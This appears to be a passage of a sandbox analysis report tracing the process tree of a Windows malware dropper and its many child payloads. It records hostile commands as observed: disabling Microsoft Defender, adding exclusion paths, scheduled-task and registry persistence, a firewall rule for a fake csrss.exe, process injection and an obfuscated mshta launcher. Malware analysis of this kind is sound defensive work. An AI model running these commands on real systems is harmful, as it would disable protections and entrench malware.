PID 4828 wrote to memory of 392	4828	setup_install.exe	106
PID 4828 wrote to memory of 2020	4828	setup_install.exe	107
PID 4828 wrote to memory of 996	4828	setup_install.exe	108
PID 4828 wrote to memory of 3392	4828	setup_install.exe	109
PID 4828 wrote to memory of 3056	4828	setup_install.exe	110
PID 1848 wrote to memory of 3180	1848	cmd.exe	111
PID 1156 wrote to memory of 5076	1156	cmd.exe	112
PID 2092 wrote to memory of 2180	2092	cmd.exe	113
PID 3528 wrote to memory of 3116	3528	cmd.exe	114
PID 1556 wrote to memory of 3652	1556	cmd.exe	115
PID 1372 wrote to memory of 1484	1372	cmd.exe	116
PID 4924 wrote to memory of 4928	4924	cmd.exe	117
PID 2020 wrote to memory of 4468	2020	cmd.exe	118
PID 996 wrote to memory of 1160	996	cmd.exe	119
PID 3056 wrote to memory of 1676	3056	cmd.exe	120
PID 2328 wrote to memory of 4648	2328	cmd.exe	121
PID 3428 wrote to memory of 4220	3428	cmd.exe	122
PID 4752 wrote to memory of 5024	4752	cmd.exe	123
PID 1484 wrote to memory of 1140	1484	Mon23eb9bbd34021fd7.exe	124
PID 4468 wrote to memory of 4424	4468	Mon239d2cfa97d5f2304.exe	125
PID 5076 wrote to memory of 4216	5076	Mon23fc9b3c0b46b0b03.exe	126
PID 1160 wrote to memory of 2536	1160	Mon23c83f1827e40acef.exe	127
PID 4424 wrote to memory of 3060	4424	Mon239d2cfa97d5f2304.tmp	128
PID 3060 wrote to memory of 4992	3060	Mon239d2cfa97d5f2304.exe	129
PID 2536 wrote to memory of 4640	2536	mshta.exe	130
PID 3116 wrote to memory of 1464	3116	Mon239d21655f4b.exe	132
PID 5076 wrote to memory of 4216	5076	Mon23fc9b3c0b46b0b03.exe	126
PID 5076 wrote to memory of 4216	5076	Mon23fc9b3c0b46b0b03.exe	126
PID 5076 wrote to memory of 4216	5076	Mon23fc9b3c0b46b0b03.exe	126
PID 5076 wrote to memory of 4216	5076	Mon23fc9b3c0b46b0b03.exe	126
PID 5076 wrote to memory of 4216	5076	Mon23fc9b3c0b46b0b03.exe	126
PID 5076 wrote to memory of 4216	5076	Mon23fc9b3c0b46b0b03.exe	126
PID 4216 wrote to memory of 3340	4216	Mon23fc9b3c0b46b0b03.exe	134
PID 4640 wrote to memory of 2672	4640	cmd.exe	139
PID 1464 wrote to memory of 4376	1464	cmd.exe	140
PID 4640 wrote to memory of 1080	4640	cmd.exe	141
PID 3340 wrote to memory of 1212	3340	cmd.exe	142
PID 3340 wrote to memory of 1124	3340	cmd.exe	143
PID 2672 wrote to memory of 4888	2672	Q7J2UrO1XZC8DQK.EXe	145
PID 4216 wrote to memory of 2880	4216	Mon23fc9b3c0b46b0b03.exe	146
PID 4888 wrote to memory of 3960	4888	mshta.exe	148
PID 2880 wrote to memory of 5104	2880	cmd.exe	150

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon239d21655f4b.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon239d21655f4b.exe
      Mon239d21655f4b.exe
      4⤵
      Executes dropped EXE
      Drops Chrome extension
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3116
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1464
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4376
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        5⤵
        Drops file in Windows directory
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2220
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffd08fcc728,0x7ffd08fcc734,0x7ffd08fcc740
        6⤵
        
        PID:4820
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1764,i,8847933222194386987,11518220496432536294,262144 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2020 /prefetch:2
        6⤵
        
        PID:2292
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1608,i,15392321585872895662,8938303615301153516,524288 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2456 /prefetch:3
        6⤵
        System Time Discovery
        
        PID:2016
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2328,i,15864726951574502733,249128323798769689,524288 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2488 /prefetch:8
        6⤵
        
        PID:5036
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3180,i,443605750473743003,16661736651578247177,2097152 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3184 /prefetch:1
        6⤵
        
        PID:700
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3208,i,10488521631113760170,16111089243639340603,2097152 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3220 /prefetch:1
        6⤵
        
        PID:1148
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3944,i,14116606250087354477,9390289418933665602,2097152 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=4428 /prefetch:2
        6⤵
        
        PID:1880
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4692,i,3422843147605961173,16053107747454430452,2097152 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=4700 /prefetch:1
        6⤵
        
        PID:3144
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5964,i,3826580707322942332,13910531583237835628,524288 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5968 /prefetch:8
        6⤵
        
        PID:884
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5496,i,14292024483969903724,15590209913421939206,524288 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=6124 /prefetch:8
        6⤵
        
        PID:6060
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6116,i,15943365449787228873,9633748687021693149,524288 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5584 /prefetch:8
        6⤵
        
        PID:5840
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6120,i,4725355005564467637,13697475629243427678,524288 --field-trial-handle=2032,i,13879568329154135036,13088833433169268294,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5700 /prefetch:8
        6⤵
        
        PID:3220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23bfce30ed0d.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23bfce30ed0d.exe
      Mon23bfce30ed0d.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon236c02350935f.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23b87b93295.exe /mixtwo
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23b87b93295.exe
      Mon23b87b93295.exe /mixtwo
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23fc9b3c0b46b0b03.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1156
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23fc9b3c0b46b0b03.exe
      Mon23fc9b3c0b46b0b03.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5076
    - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23fc9b3c0b46b0b03.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23fc9b3c0b46b0b03.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4216
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3340
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1212
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1124
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2880
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5104
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4352
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2784
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1672
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4552
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2224
      - C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2064
        
        C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        
        C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2380
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:552
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:5004
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /F
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon237b55b08f9b9f39.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon237ce2862163cee53.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon237ce2862163cee53.exe
      Mon237ce2862163cee53.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      System Location Discovery: System Language Discovery
      PID:3180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon236eb8c3f483857fd.exe
    3⤵
    PID:3812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon230cd6d57f4.exe
    3⤵
    PID:1080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23705640b572a2.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23ca6a33225.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23ca6a33225.exe
      Mon23ca6a33225.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:4648
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23ca6a33225.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:5320
    - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23ca6a33225.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23ca6a33225.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon2345a0f60927b9.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon2317ff0edbb41b.exe
    3⤵
    PID:1480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23938d415978.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23938d415978.exe
      Mon23938d415978.exe
      4⤵
      Executes dropped EXE
      PID:4220
    - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23938d415978.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23938d415978.exe"
        5⤵
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2988
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:3164
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3424
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe /306-306
        6⤵
        Executes dropped EXE
        Manipulates WinMonFS driver.
        System Location Discovery: System Language Discovery
        
        PID:3024
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5692
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        7⤵
        
        PID:5720
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        7⤵
        Executes dropped EXE
        
        PID:5876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23da17a89d.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4752
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23da17a89d.exe
      Mon23da17a89d.exe
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:5024
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 412
        5⤵
        Program crash
        
        PID:2784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23eb9bbd34021fd7.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23eb9bbd34021fd7.exe
      Mon23eb9bbd34021fd7.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1484
    - - C:\Users\Admin\AppData\Local\Temp\is-500Q7.tmp\Mon23eb9bbd34021fd7.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-500Q7.tmp\Mon23eb9bbd34021fd7.tmp" /SL5="$B021A,140047,56320,C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23eb9bbd34021fd7.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23c390e94b6b.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23c390e94b6b.exe
      Mon23c390e94b6b.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon237638f22d11.exe
    3⤵
    PID:392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon239d2cfa97d5f2304.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2020
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon239d2cfa97d5f2304.exe
      Mon239d2cfa97d5f2304.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4468
    - - C:\Users\Admin\AppData\Local\Temp\is-KU461.tmp\Mon239d2cfa97d5f2304.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-KU461.tmp\Mon239d2cfa97d5f2304.tmp" /SL5="$80240,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon239d2cfa97d5f2304.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4424
      - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon239d2cfa97d5f2304.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon239d2cfa97d5f2304.exe" /SILENT
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3060
        
        C:\Users\Admin\AppData\Local\Temp\is-444FT.tmp\Mon239d2cfa97d5f2304.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-444FT.tmp\Mon239d2cfa97d5f2304.tmp" /SL5="$9022E,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon239d2cfa97d5f2304.exe" /SILENT
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon23c83f1827e40acef.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:996
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23c83f1827e40acef.exe
      Mon23c83f1827e40acef.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1160
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23c83f1827e40acef.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23c83f1827e40acef.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2536
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23c83f1827e40acef.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon23c83f1827e40acef.exe" ) do taskkill -f /Im "%~NXg"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4640
        
        C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe
        
        Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2672
        
        C:\Windows\SysWOW64\mshta.exe
        
